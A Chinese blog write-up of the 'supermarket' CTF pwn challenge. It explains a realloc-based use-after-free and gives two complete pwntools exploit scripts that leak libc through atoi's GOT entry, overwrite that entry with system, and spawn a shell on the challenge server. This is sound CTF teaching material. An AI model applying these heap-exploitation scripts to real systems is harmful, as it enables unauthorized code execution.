realloc函数UAF利用|攻防世界pwn进阶区supermarket

思路

0x00.tar解压

下载获得压缩包文件,解压之后放进ubuntu中发现还是一个tar格式压缩包。

tar -xf filename

附:linux下tar命令详解
解压得到一个libc.so.6的库和一个可执行文件

0x01.查看保护

查看保护

 - 32位程序
 - 可以进行栈溢出
 - 堆栈上的代码不可执行
 - 地址随机化未开启

0x02.查看程序并调试

菜单界面
很明显的菜单题,试了一下选项都能用,感觉比上次做的菜单题要难一点。

1. add a commodity #添加商品
2. del a commodity #删除商品
3. list commodities #商品列表
4. Change the price of a commodity #修改商品价格(无权限)
5. Change the description of a commodity #修改商品类型
6. exit #退出

程序的note结构体如下:

typedef struct Node{
	char name[16];
	int price;
	int descrip_size;
	char *description;
}

0x03.漏洞分析

输入函数
del函数
这题和一般的UAF有一定的区别,因为free之后的指针也赋值为NULL。
利用点在于一个realloc函数。
通过realloc进行UAF

realloc函数详解

函数原型

realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);

函数功能

先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回,如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。

注意点

如果重新分配成功则返回指向被分配内存的指针,否则返回空指针NULL。

0x04.利用思路

  • 若当前指针没有足够的连续空间,则会释放原来的mem_address,由于没有把返回地址赋给node0->description,因此存在UAF漏洞。
  • 创建nodeX时,先malloc node结构体,再malloc description空间。创建nodeX+1时,如果满足条件,nodeX+1结构体会申请到nodeX->description,此时编辑nodeX的description就是编辑nodeX+1的结构体。我们把nodeX+1的description指向atoi的got表,就可以实现泄露atoi的地址以及修改atoi的got表。

利用过程

exp-1

# -.- coding=UTF-8 -.-
from pwn import *
from LibcSearcher import *
context(log_level="debug",arch="i386",os="linux")
r = remote("111.198.29.45",54105)
elf = ELF("./supermarket")
libc = ELF("./libc.so.6")
atoi_got = elf.got['atoi']

#define add1,del1,list1,edit1

def add1(index,size,content):
    r.sendlineafter('your choice>>','1')
    r.sendlineafter('name:',str(index))
    r.sendlineafter('price:','10')
    r.sendlineafter('descrip_size:',str(size))
    r.sendlineafter('description:',content)

def del1(index):
    r.sendlineafter('your choice>>','2')
    r.sendlineafter('name:',str(index))

def list1():
    r.sendlineafter('your choice>>','3')

def edit1(index,size,content):
    r.sendlineafter('your choice>>','5')
    r.sendlineafter('name:',str(index))
    r.sendlineafter('descrip_size:',str(size))
    r.sendlineafter('description:',content)

#node0
add1(0,0x80,'a'*0x10)
#node1
add1(1,0x20,'b'*0x10)

# realloc node0->description
#realloc的空间要比原来node0申请的空间大,UAF
#注意不能加任何数据,因为我们发送的数据要被写到一个被free的块
edit1(0,0x90,'')
#将node2分配到node0->description
add1(2,0x20,'d'*0x10)
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
#realloc返回的指针没有赋给node0->description,即node0->description还是原来的地址,存的是node1
#edit1(0)即编辑node1的结构体,修改node1->description指向atoi的got表
edit1(0,0x80,payload)
list1()
r.recvuntil('2: price.20, des.')
#泄露atoi地址
atoi_addr = u32(r.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))

#libc =LibcSearcher('atoi',atoi_addr)
offset = atoi_addr - libc.symbols['atoi']
system_addr = offset + libc.symbols['system']
#修改atoi的got表指向system
edit1(2,0x20,p32(system_addr))

#getshell
r.sendafter('your choice>>','/bin/sh\x00')
r.interactive()

解法二

函数须知

flat函数

作用:将参数展平为字符串
flat(*args, preprocessor = None, length = None, filler = de_bruijn(),
word_size = None, endianness = None, sign = None) -> str
Parameters:	#参数
args – Values to flatten #要展平的值
preprocessor (function) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is used.
#预处理器(函数)–在扁平化之前,对每个元素进行调用以有选择地转换元素。 如果返回None,则使用原始值。
length – The length of the output. #输出字符串的长度
filler – Iterable to use for padding. #可迭代用于填充
word_size (int) – Word size of the converted integer.#转换后整数的字大小,如16表示16位
endianness (str) – Endianness of the converted integer (“little”/”big”).#转换后整数的字节序(小端/大段)
sign (str) – Signedness of the converted integer (False/True)#转换后整数的符号

举例:

(1)>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
b'\x01\x00testABABABABABAB'
#第一个1表示p16(1),16位有两个字节,所以是"\x01\x00"
(2)>>> flat({12: 0x41414141,
...       24: 'Hello',
...      })
b'aaaabaaacaaaAAAAeaaafaaaHello'
#"12:0x41414141"表示在第12处插入AAAA,24:'Hello'同理
#其余的字母是类似cyclic的随机数

0x00.查看堆地址

pwndbg直接使用vmmap命令看不到堆地址
在malloc函数处下断点再次使用vmmap命令查找堆地址
查看malloc地址

pwndbg> b *0x8048AC1
Breakpoint 1 at 0x8048ac1
pwndbg> r

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x804a000 r-xp     2000 0      /home/devil/adworld/pwn/supermarket/supermarket
 0x804a000  0x804b000 r--p     1000 1000   /home/devil/adworld/pwn/supermarket/supermarket
 0x804b000  0x804c000 rw-p     1000 2000   /home/devil/adworld/pwn/supermarket/supermarket
 0x804c000  0x806d000 rw-p    21000 0      [heap]
0xf7e05000 0xf7e06000 rw-p     1000 0      
0xf7e06000 0xf7fb6000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb8000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fb9000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb9000 0xf7fbc000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]

0x01.伪造chunk

查看chunk
伪造第二个商品的结构体,造成UAF

exp-2

#! /usr/bin/env python
# -.- coding=UTF-8 -.-
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r = remote("111.198.29.45",31659)
p = process('./supermarket')
elf = ELF('./supermarket')
libc = ELF('./libc.so.6')

def add(name,price,size,desc):
    r.sendlineafter('>>','1')
    r.sendlineafter('name:',str(name))
    r.sendlineafter('price:',str(price))
    r.sendlineafter('size:',str(size))
    r.sendlineafter('description:',str(desc))

def delete(name):
    r.sendlineafter('>>','2')
    r.sendlineafter('name:',str(name))

def show():
    r.sendlineafter('>>','3')
    r.recvuntil('B:')
    r.recvuntil('des.')
    return r.recvuntil('\n',drop=True)#默认是False

def edit(name,size,desc):
    r.sendlineafter('>>','5')
    r.sendlineafter('name',str(name))
    r.sendlineafter('size:',str(size))
    r.sendlineafter('description:',str(desc))

add('A','1','256','a')
edit('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a'*0xc,0x21,0x42,'a'*0xc,0x1,0x10,elf.got['atoi']])
edit('A','256',payload)
offset = u32(show()[:4]) - libc.symbols['atoi']
sys_addr = offset + libc.symbols['system']
edit('B','16',p32(sys_addr))
r.sendlineafter('>>','/bin/sh\x00')
r.interactive()

附:
pwntools_documentation
CTFwiki-Use After free
攻防世界PWN之Supermarket题解
攻防世界pwn supermarket + 实时数据监测

发布了107 篇原创文章 · 获赞 68 · 访问量 7772

猜你喜欢

转载自blog.csdn.net/weixin_43092232/article/details/105014161